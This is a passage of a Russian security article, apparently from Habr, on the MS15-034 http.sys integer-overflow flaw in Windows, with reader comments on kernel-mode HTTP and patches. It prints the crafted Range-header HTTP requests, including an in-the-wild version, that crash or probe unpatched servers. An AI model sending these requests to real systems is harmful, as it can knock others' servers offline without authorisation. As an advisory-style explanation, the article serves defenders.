Напрямую эта уязвимость относится к серверным выпускам Windows, поскольку службы IIS, которые отвечают за механизмы реализации веб-сервера, используют этот драйвер для открытия и обслуживания HTTP-портов входящих подключений, которые и могут быть использованы для компрометации системы. Однако, на некоторых современных клиентских выпусках Windows (в зависимости от конфигурации системы и ее сервисов), работающие сервисы также могут открывать HTTP-порты для прослушивания входящих подключений.
Сама эксплуатация (integer-overflow) возможна через задание специального значения поля Range заголовка HTTP (значение регламентировано RFC 2616, 14.35.1). Ниже приведен пример такого запроса.
GET / HTTP/1.1
Host: MS15034
Range: bytes=0-18446744073709551615
Этот запрос также может быть использован для проверки системы на уязвимость.
Рис. Предложение на подпольном форуме о продаже эксплойта для MS15-034.
Update: We are seeing active exploits hitting our honeypots from 78.186.123.180. We will be going to Infocon Yellow as these scans use the DoS version, not the «detection» version of the exploit. The scans appear to be «Internet wide».
isc.sans.edu
Одна из обнаруженных версий эксплойта ITW имела вид:
GET /%7Bwelcome.png HTTP/1.1
User-Agent: Wget/1.13.4 (linux-gnu)
Accept: */*
Host: [server-ip]
Connection: Keep-Alive
Range: bytes=18-18446744073709551615
Комментарии (17)
MichaelBorisov
18.04.2015 13:02+9Range: bytes=18-18446744073709551615
Я вот думаю: ошибка в драйвере http.sys, скорее всего, связана с переполнением целого. В RFC723x черным по белому написано, что протокол не имеет ограничений на длину целых чисел, и что реализации должны быть готовы к произвольной их длине, и не оставлять в этом случае дыр.
Facepalm
amarao
18.04.2015 15:01+19Я не буду троллить на тему «винда дырявая» — CVE у всех бывают.
Я задам другой вопрос: почему HTTP обрабатывается с правами ядра? Это вполне себе user-space задача и могла бы решаться как обычная библиотека, загружающаяся в адресное пространство процесса. В этом случае размер проблемы был бы ограничен конкретным тредом/приложением, а не BSOD'ом.Nomad1
18.04.2015 15:12+1Я вообще увидев http.sys решил, что это апрельская шутка запоздала. Ан нет, kernel mode listener that handles all HTTP traffic for Windows. Может, так быстрее, по аналогии с kernel module для jpeg-декодирования в Linux/Android, или… (на этом мысль обрывается, в голову не приходят еще разумные аргументы).
mejedi
18.04.2015 15:16amarao
18.04.2015 15:33+3Да, я понимаю соблазн. Но в случае с bsd, насколько я понимаю, оно всего лишь буфферизирует заголовок http, не вдаваясь в детали (условно говоря — до двойного перевода строки). А tempesta — это «для тех, кто смел и понимает».
В этом случае-то проблема не в том, что кто-то использует ядро для акселерации user-space задач, а в том, что этот код отдаётся всем кастомерам и включен по-умолчанию на всём, что хоть как-то относится к http с серверной стороны.ivlad
19.04.2015 12:14+5Лет 10-15 назад была битва Windows + IIS vs Linux + Apache на http бенчмарках. Microsoft приложила тогда много усилий (думаю, это случилось как раз в районе Windows 2000) к тому, что б http сервер у них умел больше rps. http.sys — результат этих усилий.
Впрочем, на мой взгляд, это так и не помогло Microsoft занять лидирующие позиции на рынке интернет-серверов (в протовоположность интранет).
Ivan_83
18.04.2015 18:13+2Самый интересный вопрос: а нахрена HTTP в ядре держать?!!!
TerAnYu
18.04.2015 18:25+3Возможно что бы проверить акивацию винды или работа wsus-сервиса (сервиса обновления самой системы).
Так же KMS-активация, она через http(s) работает.Ivan_83
18.04.2015 20:59+1Оно вроде ещё и в ХР было, а там не было никаких KMS активаций.
WSUS работает через службу фоновой загрузки и WinHTTP апи, насколько я понимаю.
Boba_Fett
19.04.2015 14:56+1Однако, на некоторых современных клиентских выпусках Windows (в зависимости от конфигурации системы и ее сервисов
Где-нибудь имеется более подробная информация о соответствующих настройках системы?Imposeren
17.05.2015 20:50толи автокад, то ли 3д-макс, то ли еще что-то дорогое и масштабное, ставят такие себе «хелп-серверы» отдающие справочную информацию по http на каком-нибудь нестандартном локальном порту. И кто знает — может иногда оно не только локально работает
Isopropil
19.04.2015 18:32-2Ну вот всегда говорил, что индусская прошивка для игровых приставок — не лучшее решение для установки на сервер. Вот вам и очередное подтверждение.
realscorp
19.04.2015 19:26Печаль, но бывает.
Между тем 13 апреля вышли патчи для серверных ОС Microsoft по поводу этого CVE, гуглить по «KB3042553».
nikitasius
Всем солнечной субботы! Это даже не решето, это:
BalinTomsk
Видать в компании Microsoft не знают что такое юнит-тесты.
Примеры кода Microsoft которые мне попадались — ужасный шлак.